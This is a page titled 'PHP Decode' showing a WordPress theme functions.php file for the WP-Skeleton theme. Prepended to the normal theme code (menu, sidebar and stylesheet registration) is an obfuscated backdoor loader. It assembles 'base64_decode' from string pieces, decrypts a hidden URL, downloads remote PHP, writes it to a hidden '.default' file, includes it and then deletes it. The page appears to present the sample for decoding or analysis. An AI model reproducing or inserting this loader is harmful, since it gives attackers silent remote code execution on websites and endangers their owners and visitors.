PHP Decode

<?php 
 @ini_set('display_errors', '0'); 
error_reporting(0); 
global $zeeta; 
if (!$npDcheckClassBgp && !isset($zeeta)) { 
 
    $ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrK42MQ4F8YpQL/+fflvUNPlfnyDNGK/X/wEfeQ=="; 
     
if (!function_exists('get_data_ya')) { 
    if (ini_get('allow_url_fopen')) { 
        function get_data_ya($m) { 
            $data = file_get_contents($m); 
            return $data; 
        } 
    } 
    else { 
        function get_data_ya($m) { 
            $ch = curl_init(); 
            curl_setopt($ch, CURLOPT_HEADER, 0); 
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
            curl_setopt($ch, CURLOPT_URL, $m); 
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); 
            $data = curl_exec($ch); 
            curl_close($ch); 
            return $data; 
        } 
    } 
} 
 
if (!function_exists('wp_cd')) { 
        function wp_cd($fd, $fa="") { 
            $fe = "wp_frmfunct"; 
            $len = strlen($fd); 
            $ff = ''; 
            $n = $len>100 ? 8 : 2; 
            while( strlen($ff)<$len ) { $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); } 
            return $fd^$ff; 
       } 
} 
     
 
    $reqw = $ay($ao($oa("$pass"), 'wp_function')); 
    preg_match('#gogo(.*)enen#is', $reqw, $mtchs); 
    $dirs = glob("*", GLOB_ONLYDIR); 
    foreach ($dirs as $dira) { 
      if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; } 
      $subdirs = glob("$dira/*", GLOB_ONLYDIR); 
      foreach ($subdirs as $subdira) { 
        if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; } 
      } 
    } 
    if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); } 
    fwrite($hdl, "<?php
$mtchs[1]
?>"); 
    fclose($hdl); 
    include("{$eb}.$algo"); 
    unlink("{$eb}.$algo"); 
	$npDcheckClassBgp = 'aue'; 
 
	$zeeta = "yup"; 
 
    } 
/** 
 * @package WordPress 
 * @subpackage WP-Skeleton 
 */ 
 
//Drag and drop menu support 
register_nav_menu( 'primary', 'Primary Menu' ); 
//This theme uses post thumbnails 
add_theme_support( 'post-thumbnails' ); 
//Apply do_shortcode() to widgets so that shortcodes will be executed in widgets 
add_filter( 'widget_text', 'do_shortcode' ); 
 
//Widget support for a right sidebar 
register_sidebar( array( 
	'name' => 'Right Sidebar', 
	'id' => 'right-sidebar', 
	'description' => 'Widgets in this area will be shown on the right-hand side.', 
	'before_widget' => '<div id="%1$s">', 
	'after_widget'  => '</div>', 
	'before_title' => '<h3>', 
	'after_title' => '</h3>' 
)); 
 
//Widget support for the footer 
register_sidebar( array( 
	'name' => 'Footer Sidebar', 
	'id' => 'footer-sidebar', 
	'description' => 'Widgets in this area will be shown in the footer.', 
	'before_widget' => '<div id="%1$s">', 
	'after_widget'  => '</div>', 
	'before_title' => '<h3>', 
	'after_title' => '</h3>' 
)); 
 
//Enqueue_styles 
if ( ! function_exists( 'Wps_load_styles' ) ) { 
function Wps_load_styles() { 
 
	wp_register_style( 'skeleton-style', get_template_directory_uri() . '/style.css'); 
	wp_register_style( 'skeleton-base', get_template_directory_uri() . '/stylesheets/base.css'); 
	wp_register_style( 'skeleton-layout', get_template_directory_uri() . '/stylesheets/layout.css'); 
 
	wp_enqueue_style( 'skeleton-base' ); 
	wp_enqueue_style( 'skeleton-style' ); 
	wp_enqueue_style( 'skeleton-layout' ); 
 
} 
add_action('wp_enqueue_scripts', 'Wps_load_styles'); 
} // endif